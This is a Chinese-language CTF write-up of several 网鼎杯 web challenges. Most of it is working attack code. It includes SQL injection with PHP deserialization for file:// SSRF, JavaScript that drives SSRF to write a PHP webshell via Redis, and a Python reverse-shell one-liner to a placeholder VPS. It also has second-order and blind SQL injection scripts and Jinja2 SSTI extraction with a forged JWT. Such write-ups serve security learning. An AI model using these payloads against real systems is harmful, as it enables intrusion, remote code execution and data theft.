To begin with
网鼎杯初赛出了两道Web题,虽然还是有点坑..但在赛后总结中还是学到了新内容,良心平台比赛结束后仍然可以开启web服务。若有机会接触到后面几场比赛的赛后环境,同时一并总结。
Fakebook
感觉这个题的思路还是很明确的,就是这个过滤很皮..
收集信息可以找到一个user.php源码泄露
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
主要内容是注册用户时需要填一个url,如果包含协议必须是http(s),没开跳转。填的url会使用curl访问,一个SSRF。需要想一下的就是这个居然用类来实现了。
之后在join.ok.php或者其他界面的报错里面我们可以拿到绝对目录地址,以及flag.php地址。
我们想要使用SSRF直接读flag发现被注册时的过滤限制了http协议。
在view.php有一个u=1的注入,尝试发现order by 4,union被过滤(但可以使用/**/
绕过),我后来用的union all直接绕过了...
构造union后报错,提示
可以发现存在一个反序列化。但要如何利用呢,而且还没有魔法函数。
这里联想到注册时检验了url的合法性,使用http协议没办法读到flag,最简单的办法就是file协议,那我们完全可以直接构造反序列化指定url。
/view.php?no=0 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:8:"dsvoaths";s:3:"age";i:20;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
view.php main code
<?php
$no = $_GET['no'];
if ($db->anti_sqli($no))
{
die("no hack ~_~");
}
$res = $db->getUserByNo($no);
$user = unserialize($res['data']);
?>
db.php main code
public function anti_sqli ($no)
{
$patterns = "/union\Wselect|0x|hex/i";
return preg_match($patterns,$no);
}
Spider
上次在WCTF遇到redis getshell就蒙了.. 这次还是有点乱,以前留的坑早晚要填...
这次算是总结下大佬给的思路吧。
题目是一个在线爬虫解析HTML A标签的的功能,会把tag A的内容打印在屏幕上。
在rebots.txt上发现了一个源码泄露,get_source,不过需要从本机访问,那么这个功能可能有一个SSRF。想办法构造一个解析时访问127.0.0.1即可。
使用AJAX访问,构造:
<a>asd</a>
<script>
var xhr=new XMLHttpRequest();
xhr.onreadystatechange = function(){
if (xhr.readyState==XMLHttpRequest.DONE){
document.getElementsByTagName('a')[0].innerHTML=(xhr.responseText);
}
}
xhr.open("GET","http://127.0.0.1/get_source");
xhr.send(null);
</script>
拿到flask源码
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from flask import Flask, request
from flask import render_template
import os
import uuid
import tempfile
import subprocess
import time
import json
app = Flask(__name__ , static_url_path='')
def proc_shell(cmd):
out_temp = tempfile.SpooledTemporaryFile(bufsize=1000*1000)
fileno = out_temp.fileno()
proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False)
start_time = time.time()
while True:
if proc.poll() == None:
if time.time() - start_time > 30:
proc.terminate()
proc.kill()
proc.communicate()
out_temp.seek(0)
out_temp.close()
return
else:
time.sleep(1)
else:
proc.communicate()
out_temp.seek(0)
data = out_temp.read()
out_temp.close()
return data
def casperjs_html(url):
cmd = 'casperjs {0} --ignore-ssl-errors=yes --url={1}'.format(os.path.dirname(__file__) + '/casper/casp.js' ,url)
cmd = cmd.split(' ')
stdout = proc_shell(cmd)
try:
result = json.loads(stdout)
links = result.get('resourceRequestUrls')
return links
except Exception, e:
return []
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
else:
f = request.files['file']
filename = str(uuid.uuid1()) + '.html'
basepath = os.path.dirname(__file__)
upload_path = os.path.join(basepath, 'static/upload/', filename)
content = f.read()
#hint
if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower():
return render_template('index.html', msg=u'Warning: 发现恶意关键字')
#hint
with open(upload_path, 'w') as f:
f.write(content)
url = 'http://127.0.0.1:80/upload/'+filename
links = casperjs_html(url)
links = '\n'.join(links)
if not links:
links = 'NULL'
links = 'URL: '+url+'\n'+links
return render_template('index.html', links=links)
@app.route('/get_sourcecode', methods=['GET', 'POST'])
def get_code():
if request.method == 'GET':
ip = request.remote_addr
if ip != '127.0.0.1':
return 'NOT 127.0.0.1'
else:
with open(os.path.dirname(__file__)+'/run.py') as f:
code = f.read()
return code
else:
return ''
@app.errorhandler(404)
def page_not_found(error):
return '404'
@app.errorhandler(500)
def internal_server_error(error):
return '500'
@app.errorhandler(403)
def unauthorized(error):
return '403'
if __name__ == '__main__':
pass
里面用到了casperjs加载页面模拟,只不过也没啥信息了..
黑名单过滤写了一个dbfilename,可能要涉及到redis,但是不会利用...
查了一下,有ssh,cron,webshell等方式..
根据提示,在8000端口有一个apache服务。
在redis上设置一个webshell即可。
这里引用下官方wp的过程。
构造redis cron shell失败,可能系统是ubuntu等,cron不行就尝试从web入手。
通过JS端口探测
<a id="result"></a>
<script>
var data = document.getElementById('result').innerHTML;
var TagName = document.getElementsByTagName("body")[0];
ports=[80,81,88,8000,8080,8088];
for(var i in ports){
var script = document.createElement("script");
poc = "data += '" + ports[i] + " OPEN; '; document.getElementById('result').innerHTML = data;"
script.setAttribute("src","http://127.0.0.1:" + ports[i]);
script.setAttribute("onload", poc);
TagName.appendChild(script);
}
</script>
得知80和8000端口开放。
得到8000端口开放着,猜测是apache2等phpserver
构造一个Redis EXP。
level=low_273eac1c
<script>
var xmlHttp;
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}else{
xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}
var formData = new FormData();
formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shell.php"+"\n"+'set 1 "\\n\\n<?php header(\'Access-Control-Allow-Origin:*\'); echo file_get_contents($_GET[0]);?>\\n\\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://127.0.0.1:6379",true);
xmlHttp.send(formData);
</script>
因为不同端口,所以存在跨域,需要加上Access-Control-Allow-Origin:* 头部。(或者直接PHP反弹SHELL也可以)然后再构造一个HTML。
<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?0=flag.php",true);
xmlhttp.send();
}
loadXMLDoc();
</script>
反弹shell
<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
var xmlhttp;
if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?_=`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"VPSIP\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'`;",true)
xmlhttp.send();
}
loadXMLDoc();
</script>
refer
phone WDB 3rd
与强网杯three hit类似,一道二次注入题。
根据登陆后结果猜测sql语句为:
select count(*) from user where phone_number like '%{input}%'
绕过方法相同,使用0x十六进制绕过数字检测,造成二次注入。
#coding=utf-8
import requests
import random
import time
#username=admin3&password=admin&phone=1®ister=Login
url=""
while True:
u='adminv'+str(random.randint(1,10000000))
print "imput username"
num=raw_input()
payload='0x'+('\' '+num).encode('hex')
data={'username':u,'password':'admin','phone':payload,'register':'Login'}
time.sleep(0.1)
s=requests.session()
s.get(url+"logout.php")
r=s.post(url+"register.php",data=data)
#username=admin&password=admin&login=Login
log={'username':u,'password':'admin','login':'Login'}
rr=s.post(url+"login.php",data=log)
time.sleep(0.1)
ret=s.get(url+"query.php")
s.get(url+"logout.php")
print ret.text
imput username
union select database() limit 1,1#
有test人和你电话相似哦~
test
imput username
union select group_concat(table_name) from information_schema.tables where table_schema = database() limit 1,1#
有flag,user人和你电话相似哦~
flag,user
imput username
union select group_concat(column_name) from information_schema.columns where table_name='flag' limit 1,1#
有f14g人和你电话相似哦~
f14g
imput username
union select f14g from flag limit 1,1#
有flag{1e0b6100-e790-46a0-93af-14c507791ad5}人和你电话相似哦~
flag{1e0b6100-e790-46a0-93af-14c507791ad5}
mmmmy WDB 3rd
登陆后发现只能是test,查看jwt,同样需要构造admin,使用c-jwt-cracker爆破出secret,6a423。
登陆后发现有个留言界面,不像是xss,可能是格式化串或者ssti,使用{{}}发现被过滤,使用{% %}可用,发现_、'、"、eval、system
等被过滤。
查找http://docs.jinkan.org/docs/jinja2/templates.html#builtin-filters 中控制结构清单,可使用布尔盲注。
text={% if request.values.e[18] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[0]%}right{%endif%}&a=__class__&b=__base__&c=__subclasses__&d=/flag&e={}-0123456789abcdefghijklmnopqrstuvwxyz
脚本如下:
import requests,sys
url = "http://3e87de1a63e346609822f82b4d71b54489d7f51afcc24dfa.game.ichunqiu.com/bbs"
cookie = {
"token" : "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.IXEkNe82X4vypUsNeRFbhbXU4KE4winxIhrPiWpOP30"
}
chars = "{}-0123456789abcdefghijklmnopqrstuvwxyz"
flag = ''
for i in range(0,50):
for j in range(0,len(chars)):
data = {
"text" : "{%% if request.values.e[%d] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[%d]%%}getflag{%% endif %%}" % (j,i),
"a" : "__class__",
"b" : "__base__",
"c" : "__subclasses__",
"d" : "/flag",
"e" : chars
}
r = requests.post(url,data=data,cookies=cookie)
if 'getflag' in r.text:
flag += chars[j]
print(flag)
break
unfished WDB 2nd
注册时insert注入,可在登陆后查看用户名拿到结果。
除下面payload外,还可以使用hex(hex(string)),每次取八位数字。
两次hex的结果为纯数字,不存在abcdef。
import json
import requests
import time
email = "xm@xm1"
cookies = {
"PHPSESSID": "jcu1nmc5oms4dt54c44s25bd12"
}
flag = ""
for i in range(50):
#i += 20
data = {
"email": email+str(i),
"username": "0'+ascii(mid((select * from flag)from("+str(i)+")for(1)))+'0",
"password": "123"
}
print data['username']
requests.post("http://9e1887b7e22c4ac5ba233b8763879a8fe03597c74b8d42f8.game.ichunqiu.com/register.php", data=data, cookies=cookies)
o = requests.post('http://9e1887b7e22c4ac5ba233b8763879a8fe03597c74b8d42f8.game.ichunqiu.com/login.php', data=data, cookies=cookies).text[837:850].split(" ")[0]
flag += chr(int(o))
print flag
sqlweb WDB 2nd
登录admin可以看到wafsleep|benchmark|=|like|regexp|and|\|%|substr|union|\s+|group|floor|user|extractvalue|UpdateXml|ord|lpad|rpad|left|>|,|ascii
。在返回头中可看到表结构。
构造如下payload,爆破出admin密码,登陆后提示wuyanzu账号,继续。
#coding=utf8
import requests
flag=""
for i in range(1,50):
for ch in range(30,127):
char=chr(ch)
name="wuyanzu'&&/**/mid(passwd/**/from("+str(i)+")for(1))/**/in/**/('"+char+"')#"
data={'uname':name,'passwd':'123','submit':'login'}
#print name
ret=requests.post("http://bf7fdc04c8234dba9eb69d1fd81f88b5219bd62ccb654b7d.game.ichunqiu.com/sql.php",data=data)
if "passwd" in ret.text:
flag+=char
print flag
break
print flag